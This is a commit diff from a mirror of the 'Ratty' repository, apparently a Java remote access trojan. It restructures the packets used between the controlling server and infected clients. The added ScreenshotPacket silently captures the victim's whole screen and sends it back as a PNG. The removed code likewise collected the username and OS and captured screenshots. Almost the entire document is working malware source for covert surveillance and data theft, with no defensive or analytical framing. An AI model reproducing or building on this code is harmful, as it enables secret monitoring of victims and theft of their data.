mirror of https://github.com/LucaBongiorni/Ratty
Sogomn
9 years ago
9 changed files with 186 additions and 179 deletions
-
4Ratty/src/de/sogomn/rat/ActiveClient.java
-
37Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java
-
86Ratty/src/de/sogomn/rat/packet/ImagePacket.java
-
20Ratty/src/de/sogomn/rat/packet/InformationPacket.java
-
9Ratty/src/de/sogomn/rat/packet/PacketType.java
-
122Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java
-
33Ratty/src/de/sogomn/rat/packet/request/InformationRequestPacket.java
-
46Ratty/src/de/sogomn/rat/packet/request/ScreenshotRequestPacket.java
-
8Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java
@ -0,0 +1,37 @@ |
|||||
|
package de.sogomn.rat.packet; |
||||
|
|
||||
|
import de.sogomn.rat.ActiveClient; |
||||
|
|
||||
|
public abstract class AbstractPingPongPacket implements IPacket { |
||||
|
|
||||
|
private byte type; |
||||
|
|
||||
|
public static final byte REQUEST = 0; |
||||
|
public static final byte DATA = 1; |
||||
|
|
||||
|
public AbstractPingPongPacket() { |
||||
|
type = REQUEST; |
||||
|
} |
||||
|
|
||||
|
protected abstract void executeRequest(final ActiveClient client); |
||||
|
|
||||
|
protected abstract void executeData(final ActiveClient client); |
||||
|
|
||||
|
@Override |
||||
|
public final void execute(final ActiveClient client) { |
||||
|
if (type == REQUEST) { |
||||
|
type = DATA; |
||||
|
|
||||
|
executeRequest(client); |
||||
|
} else if (type == DATA) { |
||||
|
type = REQUEST; |
||||
|
|
||||
|
executeData(client); |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
public final byte getType() { |
||||
|
return type; |
||||
|
} |
||||
|
|
||||
|
} |
@ -1,86 +0,0 @@ |
|||||
package de.sogomn.rat.packet; |
|
||||
|
|
||||
import java.awt.image.BufferedImage; |
|
||||
import java.io.ByteArrayInputStream; |
|
||||
import java.io.ByteArrayOutputStream; |
|
||||
import java.io.IOException; |
|
||||
|
|
||||
import javax.imageio.ImageIO; |
|
||||
|
|
||||
import de.sogomn.engine.Screen; |
|
||||
import de.sogomn.engine.Screen.ResizeBehavior; |
|
||||
import de.sogomn.rat.ActiveClient; |
|
||||
|
|
||||
public final class ImagePacket implements IPacket { |
|
||||
|
|
||||
private BufferedImage image; |
|
||||
private String format; |
|
||||
|
|
||||
private static final BufferedImage NO_IMAGE = new BufferedImage(100, 100, BufferedImage.TYPE_INT_RGB); |
|
||||
private static final int SCREEN_WIDTH = 500; |
|
||||
private static final int SCREEN_HEIGHT = 500; |
|
||||
|
|
||||
public ImagePacket(final BufferedImage image, final String format) { |
|
||||
this.image = image; |
|
||||
this.format = format; |
|
||||
} |
|
||||
|
|
||||
public ImagePacket(final BufferedImage image) { |
|
||||
this(image, ""); |
|
||||
} |
|
||||
|
|
||||
public ImagePacket() { |
|
||||
this(NO_IMAGE); |
|
||||
} |
|
||||
|
|
||||
@Override |
|
||||
public void send(final ActiveClient client) { |
|
||||
final ByteArrayOutputStream out = new ByteArrayOutputStream(); |
|
||||
|
|
||||
try { |
|
||||
ImageIO.write(image, format, out); |
|
||||
} catch (final IOException ex) { |
|
||||
ex.printStackTrace(); |
|
||||
} |
|
||||
|
|
||||
final byte[] data = out.toByteArray(); |
|
||||
|
|
||||
client.writeInt(data.length); |
|
||||
client.write(data); |
|
||||
} |
|
||||
|
|
||||
@Override |
|
||||
public void receive(final ActiveClient client) { |
|
||||
final int length = client.readInt(); |
|
||||
final byte[] data = new byte[length]; |
|
||||
|
|
||||
client.read(data); |
|
||||
|
|
||||
final ByteArrayInputStream in = new ByteArrayInputStream(data); |
|
||||
|
|
||||
try { |
|
||||
image = ImageIO.read(in); |
|
||||
} catch (final IOException ex) { |
|
||||
image = NO_IMAGE; |
|
||||
|
|
||||
ex.printStackTrace(); |
|
||||
} |
|
||||
} |
|
||||
|
|
||||
@Override |
|
||||
public void execute(final ActiveClient client) { |
|
||||
final int width = image.getWidth(); |
|
||||
final int height = image.getHeight(); |
|
||||
|
|
||||
final Screen screen = new Screen(width, height); |
|
||||
|
|
||||
screen.addListener(g -> { |
|
||||
g.drawImage(image, 0, 0, width, height, null); |
|
||||
}); |
|
||||
screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO); |
|
||||
screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT); |
|
||||
screen.show(); |
|
||||
screen.redraw(); |
|
||||
} |
|
||||
|
|
||||
} |
|
@ -0,0 +1,122 @@ |
|||||
|
package de.sogomn.rat.packet; |
||||
|
|
||||
|
import java.awt.AWTException; |
||||
|
import java.awt.Dimension; |
||||
|
import java.awt.Rectangle; |
||||
|
import java.awt.Robot; |
||||
|
import java.awt.Toolkit; |
||||
|
import java.awt.image.BufferedImage; |
||||
|
import java.io.ByteArrayInputStream; |
||||
|
import java.io.ByteArrayOutputStream; |
||||
|
import java.io.IOException; |
||||
|
|
||||
|
import javax.imageio.ImageIO; |
||||
|
|
||||
|
import de.sogomn.engine.Screen; |
||||
|
import de.sogomn.engine.Screen.ResizeBehavior; |
||||
|
import de.sogomn.rat.ActiveClient; |
||||
|
|
||||
|
public final class ScreenshotPacket implements IPacket { |
||||
|
|
||||
|
private BufferedImage image; |
||||
|
|
||||
|
private byte type; |
||||
|
|
||||
|
private static final byte REQUEST = 0; |
||||
|
private static final byte DATA = 1; |
||||
|
|
||||
|
private static final BufferedImage NO_IMAGE = new BufferedImage(100, 100, BufferedImage.TYPE_INT_RGB); |
||||
|
private static final int SCREEN_WIDTH = 500; |
||||
|
private static final int SCREEN_HEIGHT = 500; |
||||
|
|
||||
|
public ScreenshotPacket(final BufferedImage image) { |
||||
|
this.image = image; |
||||
|
|
||||
|
type = DATA; |
||||
|
} |
||||
|
|
||||
|
public ScreenshotPacket() { |
||||
|
this(NO_IMAGE); |
||||
|
|
||||
|
type = REQUEST; |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
public void send(final ActiveClient client) { |
||||
|
client.writeByte(type); |
||||
|
|
||||
|
if (type == REQUEST) { |
||||
|
return; |
||||
|
} |
||||
|
|
||||
|
final ByteArrayOutputStream out = new ByteArrayOutputStream(); |
||||
|
|
||||
|
try { |
||||
|
ImageIO.write(image, "PNG", out); |
||||
|
} catch (final IOException ex) { |
||||
|
ex.printStackTrace(); |
||||
|
} |
||||
|
|
||||
|
final byte[] data = out.toByteArray(); |
||||
|
|
||||
|
client.writeInt(data.length); |
||||
|
client.write(data); |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
public void receive(final ActiveClient client) { |
||||
|
type = client.readByte(); |
||||
|
|
||||
|
if (type == REQUEST) { |
||||
|
return; |
||||
|
} |
||||
|
|
||||
|
final int length = client.readInt(); |
||||
|
final byte[] data = new byte[length]; |
||||
|
|
||||
|
client.read(data); |
||||
|
|
||||
|
final ByteArrayInputStream in = new ByteArrayInputStream(data); |
||||
|
|
||||
|
try { |
||||
|
image = ImageIO.read(in); |
||||
|
} catch (final IOException ex) { |
||||
|
image = NO_IMAGE; |
||||
|
|
||||
|
ex.printStackTrace(); |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
public void execute(final ActiveClient client) { |
||||
|
if (type == REQUEST) { |
||||
|
final Dimension screen = Toolkit.getDefaultToolkit().getScreenSize(); |
||||
|
final Rectangle screenRect = new Rectangle(screen); |
||||
|
|
||||
|
try { |
||||
|
final Robot robot = new Robot(); |
||||
|
|
||||
|
image = robot.createScreenCapture(screenRect); |
||||
|
type = DATA; |
||||
|
} catch (final AWTException ex) { |
||||
|
ex.printStackTrace(); |
||||
|
} |
||||
|
|
||||
|
client.addPacket(this); |
||||
|
} else if (type == DATA) { |
||||
|
final int width = image.getWidth(); |
||||
|
final int height = image.getHeight(); |
||||
|
|
||||
|
final Screen screen = new Screen(width, height); |
||||
|
|
||||
|
screen.addListener(g -> { |
||||
|
g.drawImage(image, 0, 0, width, height, null); |
||||
|
}); |
||||
|
screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO); |
||||
|
screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT); |
||||
|
screen.show(); |
||||
|
screen.redraw(); |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
} |
@ -1,33 +0,0 @@ |
|||||
package de.sogomn.rat.packet.request; |
|
||||
|
|
||||
import de.sogomn.rat.ActiveClient; |
|
||||
import de.sogomn.rat.Ratty; |
|
||||
import de.sogomn.rat.packet.IPacket; |
|
||||
import de.sogomn.rat.packet.InformationPacket; |
|
||||
|
|
||||
public final class InformationRequestPacket implements IPacket { |
|
||||
|
|
||||
public InformationRequestPacket() { |
|
||||
//... |
|
||||
} |
|
||||
|
|
||||
@Override |
|
||||
public void send(final ActiveClient client) { |
|
||||
//... |
|
||||
} |
|
||||
|
|
||||
@Override |
|
||||
public void receive(final ActiveClient client) { |
|
||||
//... |
|
||||
} |
|
||||
|
|
||||
@Override |
|
||||
public void execute(final ActiveClient client) { |
|
||||
final String name = System.getProperty("user.name"); |
|
||||
final String os = System.getProperty("os.name"); |
|
||||
final InformationPacket packet = new InformationPacket(name, os, Ratty.VERSION); |
|
||||
|
|
||||
client.addPacket(packet); |
|
||||
} |
|
||||
|
|
||||
} |
|
@ -1,46 +0,0 @@ |
|||||
package de.sogomn.rat.packet.request; |
|
||||
|
|
||||
import java.awt.AWTException; |
|
||||
import java.awt.Dimension; |
|
||||
import java.awt.Rectangle; |
|
||||
import java.awt.Robot; |
|
||||
import java.awt.Toolkit; |
|
||||
import java.awt.image.BufferedImage; |
|
||||
|
|
||||
import de.sogomn.rat.ActiveClient; |
|
||||
import de.sogomn.rat.packet.IPacket; |
|
||||
import de.sogomn.rat.packet.ImagePacket; |
|
||||
|
|
||||
public final class ScreenshotRequestPacket implements IPacket { |
|
||||
|
|
||||
public ScreenshotRequestPacket() { |
|
||||
//... |
|
||||
} |
|
||||
|
|
||||
@Override |
|
||||
public void send(final ActiveClient client) { |
|
||||
//... |
|
||||
} |
|
||||
|
|
||||
@Override |
|
||||
public void receive(final ActiveClient client) { |
|
||||
//... |
|
||||
} |
|
||||
|
|
||||
@Override |
|
||||
public void execute(final ActiveClient client) { |
|
||||
final Dimension screen = Toolkit.getDefaultToolkit().getScreenSize(); |
|
||||
final Rectangle screenRect = new Rectangle(screen); |
|
||||
|
|
||||
try { |
|
||||
final Robot robot = new Robot(); |
|
||||
final BufferedImage image = robot.createScreenCapture(screenRect); |
|
||||
final ImagePacket packet = new ImagePacket(image, "PNG"); |
|
||||
|
|
||||
client.addPacket(packet); |
|
||||
} catch (final AWTException ex) { |
|
||||
ex.printStackTrace(); |
|
||||
} |
|
||||
} |
|
||||
|
|
||||
} |
|
Write
Preview
Loading…
Cancel
Save
Reference in new issue